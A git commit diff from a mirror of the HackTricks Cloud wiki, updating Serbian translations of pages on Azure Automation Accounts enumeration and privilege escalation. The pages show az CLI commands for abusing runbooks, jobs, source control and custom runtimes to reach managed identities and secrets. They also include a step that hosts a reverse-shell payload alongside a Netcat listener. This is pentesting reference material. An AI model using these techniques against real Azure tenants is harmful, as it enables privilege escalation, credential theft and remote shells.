mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -10,18 +10,18 @@ Za više informacija pogledajte:
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Hybrid Workers
|
||||
### Hybrid Workers Group
|
||||
|
||||
Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan kod) u hybrid worker-u, on će **preći na lokaciju VM-a**. To može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM.
|
||||
Zapamtite da ako napadač može da izvrši proizvoljni runbook (proizvoljni kod) u hybrid worker-u, on će **preći na lokaciju VM-a**. To može biti lokalna mašina, VPC druge cloud platforme ili čak Azure VM.
|
||||
|
||||
Štaviše, ako hybrid worker radi u Azure-u sa drugim Pridruženim Identitetima, runbook će moći da pristupi **pridruženom identitetu runbook-a i svim pridruženim identitetima VM-a iz metadata servisa**.
|
||||
Štaviše, ako hybrid worker radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz metadata servisa**.
|
||||
|
||||
> [!TIP]
|
||||
> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token pridruženih identiteta automatskog naloga (**`IDENTITY_ENDPOINT`**).
|
||||
> Zapamtite da **metadata servis** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kojeg se dobija token upravljanih identiteta automatskog naloga (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Kao sažetak, ove dozvole omogućavaju **kreiranje, modifikovanje i pokretanje Runbook-ova** u Automatskom Nalog, što možete iskoristiti za **izvršavanje koda** u kontekstu Automatskog Naloga i eskalaciju privilegija na dodeljene **Pridružene Identitete** i curenje **akreditiva** i **kriptovanih varijabli** koje su sačuvane u Automatskom Nalog.
|
||||
Kao sažetak, ova dozvola omogućava **kreiranje, modifikovanje i pokretanje Runbook-a** u Automatskom Nalog koji možete koristiti za **izvršavanje koda** u kontekstu Automatskog Naloga i eskalaciju privilegija na dodeljene **Upravljane Identitete** i curenje **akreditiva** i **kriptovanih varijabli** koje su sačuvane u Automatskom Nalog.
|
||||
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava modifikovanje koda Runbook-a u Automatskom Nalog koristeći:
|
||||
```bash
|
||||
@@ -58,7 +58,7 @@ Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućav
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Ako ne postoje kreirani Runbook-ovi, ili želite da kreirate novi, biće vam potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da biste to uradili koristeći:
|
||||
Ako ne postoje kreirani Runbook-ovi, ili želite da kreirate novi, biće vam potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da to uradite koristeći:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
@@ -104,7 +104,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti planera runbook-u koristeći:
|
||||
Zatim, sa dozvolom **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler-u runbook koristeći:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -179,7 +179,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Ova dozvola omogućava korisniku da **konfiguriše kontrolu izvora** za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer):
|
||||
Ova dozvola omogućava korisniku da **konfiguriše izvor kontrolu** za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -194,9 +194,9 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a uz neke druge dozvole za pokretanje, bilo bi **moguće eskalirati privilegije**.
|
||||
Ovo će automatski uvesti runbook-ove iz Github repozitorijuma u Automation Account, a sa nekim drugim dozvolama za pokretanje, bilo bi **moguće eskalirati privilegije**.
|
||||
|
||||
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljana identitet, klijent ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Pored toga, zapamtite da za rad kontrole verzija u Automation Accounts mora imati upravljanu identitet sa ulogom **`Contributor`**, a ako je to korisnički upravljani identitet, klijent ID MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da nije moguće promeniti URL repozitorijuma kontrole verzija nakon što je kreiran.
|
||||
@@ -219,7 +219,7 @@ az rest --method PUT \
|
||||
```
|
||||
### Prilagođena Runtime Okruženja
|
||||
|
||||
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na ovaj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
|
||||
Ako automatizovani nalog koristi prilagođeno runtime okruženje, može biti moguće prepisati prilagođeni paket runtime-a nekim zlonamernim kodom (kao što je **backdoor**). Na taj način, svaki put kada se izvrši runbook koji koristi to prilagođeno runtime, i učita prilagođeni paket, zlonamerni kod će biti izvršen.
|
||||
|
||||
### Kompromitovanje Konfiguracije Stanja
|
||||
|
||||
@@ -259,7 +259,7 @@ Konfiguracioni fajl se izvršava, što rezultira u tome da se skripta za reverzn
|
||||
|
||||
- Korak 6 — Hostuj Payload i Postavi Listener
|
||||
|
||||
Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
|
||||
Python SimpleHTTPServer se pokreće da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
|
||||
@@ -4,31 +4,29 @@
|
||||
|
||||
## Osnovne informacije
|
||||
|
||||
Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje pomažu u **automatizaciji zadataka** kao što su upravljanje resursima, konfiguracija i ažuriranja širom Azure i lokalnih okruženja. Pružaju **Runbooks** (skripte za automatizaciju koje se izvršavaju), **rasporede** i **grupe hibridnih radnika** za pokretanje automatizovanih **poslova**, omogućavajući infrastrukturu kao kod (IaC) i automatizaciju procesa za poboljšanu efikasnost i doslednost u upravljanju resursima u oblaku.
|
||||
Azure Automation Accounts su usluge zasnovane na oblaku u Microsoft Azure koje pomažu u **automatizaciji zadataka** kao što su upravljanje resursima, konfiguracija i ažuriranja širom Azure i lokalnih okruženja. Pružaju **Runbooks** (skripte za automatizaciju koje se izvršavaju), **rasporede** i **hibridne radne grupe** za pokretanje automatizovanih **poslova**, omogućavajući infrastrukturu kao kod (IaC) i automatizaciju procesa za poboljšanu efikasnost i doslednost u upravljanju resursima u oblaku.
|
||||
|
||||
### Podešavanja
|
||||
|
||||
- **Akreditivi**: Lozinka je dostupna samo unutar runbook-a unutar automatizovanog naloga, koriste se za **sigurno čuvanje korisničkih imena i lozinki**.
|
||||
- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može uključivati i osetljive informacije poput API ključeva. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga.
|
||||
- **Promenljive**: Koriste se za čuvanje **konfiguracionih podataka** koji se mogu koristiti u runbook-ima. Ovo može biti i osetljiva informacija kao što su API ključevi. Ako je promenljiva **čuvana enkriptovana**, dostupna je samo unutar runbook-a unutar automatizovanog naloga.
|
||||
- **Sertifikati**: Koriste se za čuvanje **sertifikata** koji se mogu koristiti u runbook-ima.
|
||||
- **Konekcije**: Koriste se za čuvanje **informacija o konekciji** ka spoljnim uslugama. Ovo može sadržati **osetljive informacije**.
|
||||
- **Pristup mreži**: Može se postaviti na **javnu** ili **privatnu**.
|
||||
- **Mrežni pristup**: Može se postaviti na **javne** ili **privatne**.
|
||||
|
||||
## Runbooks & Poslovi
|
||||
### Runbooks & Poslovi
|
||||
|
||||
Runbook u Azure Automation je **skripta koja automatski obavlja zadatke** unutar vašeg okruženja u oblaku. Runbook-i se mogu pisati u PowerShell-u, Python-u ili grafičkim uređivačima. Pomažu u automatizaciji administrativnih zadataka kao što su upravljanje VM-ovima, zakrčivanje ili provere usklađenosti.
|
||||
|
||||
U **kod**-u unutar **Runbooks** može se nalaziti **osetljive informacije** (kao što su akreditivi).
|
||||
|
||||
Idite na `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
|
||||
|
||||
**Posao je instanca izvršenja Runbook-a**. Kada pokrenete Runbook, kreira se posao za praćenje tog izvršenja. Svaki posao uključuje:
|
||||
|
||||
- **Status**: U redu, U toku, Završeno, Neuspešno, Suspendovano.
|
||||
- **Izlaz**: Rezultat izvršenja Runbook-a.
|
||||
- **Vreme početka i završetka**: Kada je posao započeo i završen.
|
||||
|
||||
Posao sadrži **izlaz** izvršenja **Runbook-a**. Ako možete **pročitati** **poslove**, učinite to jer **sadrže** **izlaz** izvršenja (potencijalno **osetljive informacije**).
|
||||
Posao sadrži **izlaz** izvršenja **Runbook-a**. Ako možete **pročitati** **poslove**, uradite to jer **sadrže** **izlaz** izvršenja (potencijalno **osetljive informacije**).
|
||||
|
||||
### Rasporedi & Webhook-ovi
|
||||
|
||||
@@ -40,13 +38,13 @@ Postoje 3 glavna načina za izvršavanje Runbook-a:
|
||||
|
||||
### Kontrola izvora
|
||||
|
||||
Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se Runbook-i iz repozitorijuma objave na Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** na Azure Automation nalog.
|
||||
Omogućava uvoz Runbook-a iz **Github, Azure Devops (Git) i Azure Devops (TFVC)**. Moguće je naznačiti da se objave Runbook-i iz repozitorijuma u Azure Automation nalog i takođe je moguće naznačiti da se **sinhronizuju promene iz repozitorijuma** u Azure Automation nalog.
|
||||
|
||||
Kada je sinhronizacija omogućena, u **Github repozitorijumu se kreira webhook** za pokretanje sinhronizacije svaki put kada se dogodi događaj push. Primer URL-a webhook-a: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Imajte na umu da ovi webhook-ovi **neće biti vidljivi** prilikom listanja webhook-ova u povezanim runbook-ima sa Github repozitorijumom. Takođe, imajte na umu da **nije moguće promeniti URL repozitorijuma** kontrole izvora nakon što je kreiran.
|
||||
|
||||
Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitet Automation Account-u, potrebno je naznačiti ID klijenta korisničkog MI u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Da bi konfigurisana kontrola izvora radila, **Azure Automation Account** treba da ima upravljanu identitet (sistemsku ili korisničku) sa **`Contributor`** ulogom. Štaviše, da bi se dodelila korisnička upravljana identitetu Automatizovanom nalogu, potrebno je naznačiti ID klijenta korisničkog MI u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
### Okruženja za izvršavanje
|
||||
|
||||
@@ -59,18 +57,18 @@ Kada kreirate Runbook, moguće je odabrati okruženje za izvršavanje. Po defaul
|
||||
- **Python 3.8**
|
||||
- **Python 2.7**
|
||||
|
||||
Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti u izvršavanju.
|
||||
Međutim, takođe je moguće **kreirati svoja okruženja**, koristeći jedno od ovih kao osnovu. U slučaju Pythona, moguće je učitati `.whl` pakete u okruženje koje će se koristiti. U slučaju PowerShell-a, moguće je učitati `.zip` pakete sa modulima koji će biti prisutni u izvršavanju.
|
||||
|
||||
### Hibridne grupe radnika
|
||||
### Hibridne radne grupe
|
||||
|
||||
U Azure Automation, podrazumevano okruženje za izvršavanje za runbook-e je **Azure Sandbox**, platforma zasnovana na oblaku kojom upravlja Azure, pogodna za zadatke koji uključuju Azure resurse. Međutim, ovaj sandbox ima ograničenja, kao što su ograničen pristup lokalnim resursima i ograničenja u vremenu izvršavanja i korišćenju resursa. Da bi se prevazišla ova ograničenja, koriste se Hibridne grupe radnika. Hibridna grupa radnika se sastoji od **jednog ili više Hibridnih Runbook radnika instaliranih na vašim mašinama**, bilo lokalno, u drugim okruženjima u oblaku ili Azure VM-ovima. Ova postavka omogućava runbook-ima da se izvršavaju direktno na ovim mašinama, pružajući direktan pristup lokalnim resursima, mogućnost izvršavanja dužih i resursno intenzivnijih zadataka, i fleksibilnost za interakciju sa okruženjima izvan neposrednog dometa Azure-a.
|
||||
U Azure Automation, podrazumevano okruženje za izvršavanje za runbook-e je **Azure Sandbox**, platforma zasnovana na oblaku kojom upravlja Azure, pogodna za zadatke koji uključuju Azure resurse. Međutim, ovaj sandbox ima ograničenja, kao što su ograničen pristup lokalnim resursima i ograničenja u vremenu izvršavanja i korišćenju resursa. Da bi se prevazišla ova ograničenja, koriste se Hibridne radne grupe. Hibridna radna grupa se sastoji od **jednog ili više Hibridnih Runbook radnika instaliranih na vašim mašinama**, bilo na lokaciji, u drugim okruženjima u oblaku ili Azure VM-ovima. Ova postavka omogućava runbook-ima da se izvršavaju direktno na ovim mašinama, pružajući direktan pristup lokalnim resursima, mogućnost izvršavanja dužih i resursno intenzivnijih zadataka, i fleksibilnost za interakciju sa okruženjima izvan neposrednog dometa Azure-a.
|
||||
|
||||
Kada se kreira hibridna grupa radnika, potrebno je naznačiti **akreditive** koji će se koristiti. Postoje 2 opcije:
|
||||
Kada se kreira hibridna radna grupa, potrebno je naznačiti **akreditive** koji će se koristiti. Postoje 2 opcije:
|
||||
|
||||
- **Podrazumevani akreditivi**: Ne morate davati akreditive i runbook-i će se izvršavati unutar VM-ova kao **Sistem**.
|
||||
- **Specifični akreditivi**: Morate navesti naziv objekta akreditiva unutar automatizovanog naloga, koji će se koristiti za izvršavanje **runbook-a unutar VM-ova**. Stoga, u ovom slučaju, može biti moguće **ukrasti važeće akreditive** za VM-ove.
|
||||
|
||||
Stoga, ako možete odabrati da pokrenete **Runbook** u **Windows Hybrid Worker**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika).
|
||||
Dakle, ako možete odabrati da pokrenete **Runbook** u **Hibridnom Radniku**, izvršićete **arbitrarne komande** unutar spoljne mašine kao **Sistem** (dobar pivot tehnika).
|
||||
|
||||
Štaviše, ako hibridni radnik radi u Azure-u sa drugim upravljanim identitetima, runbook će moći da pristupi **upravljanom identitetu runbook-a i svim upravljanim identitetima VM-a iz servisa za metapodatke**.
|
||||
|
||||
@@ -82,7 +80,7 @@ Stoga, ako možete odabrati da pokrenete **Runbook** u **Windows Hybrid Worker**
|
||||
>[!WARNING]
|
||||
> Kao što je navedeno u [dokumentaciji](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration će biti povučena 30. septembra 2027. i zamenjena sa [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
Automation Accounts takođe podržavaju **Konfiguraciju stanja (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama.
|
||||
Automatizovani nalozi takođe podržavaju **Konfiguraciju stanja (SC)**, što je funkcija koja pomaže u **konfigurisanju** i **održavanju** **stanja** vaših VM-ova. Moguće je **kreirati** i **primeniti** DSC konfiguracije na **Windows** i **Linux** mašinama.
|
||||
|
||||
Iz perspektive napadača ovo je bilo zanimljivo jer je omogućilo **izvršavanje arbitrarnih PS kodova u svim konfiguriranim VM-ovima**, omogućavajući eskalaciju privilegija na upravljane identitete ovih VM-ova, potencijalno prelazeći na nove mreže... Takođe, konfiguracije su mogle sadržati **osetljive informacije**.
|
||||
|
||||
@@ -170,7 +168,7 @@ az rest --method GET \
|
||||
|
||||
# Get the source control setting of an automation account (if any)
|
||||
## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL
|
||||
aaz automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
az automation source-control list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
|
||||
|
||||
# Get custom runtime environments
|
||||
## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli"
|
||||
|
||||
Reference in New Issue
Block a user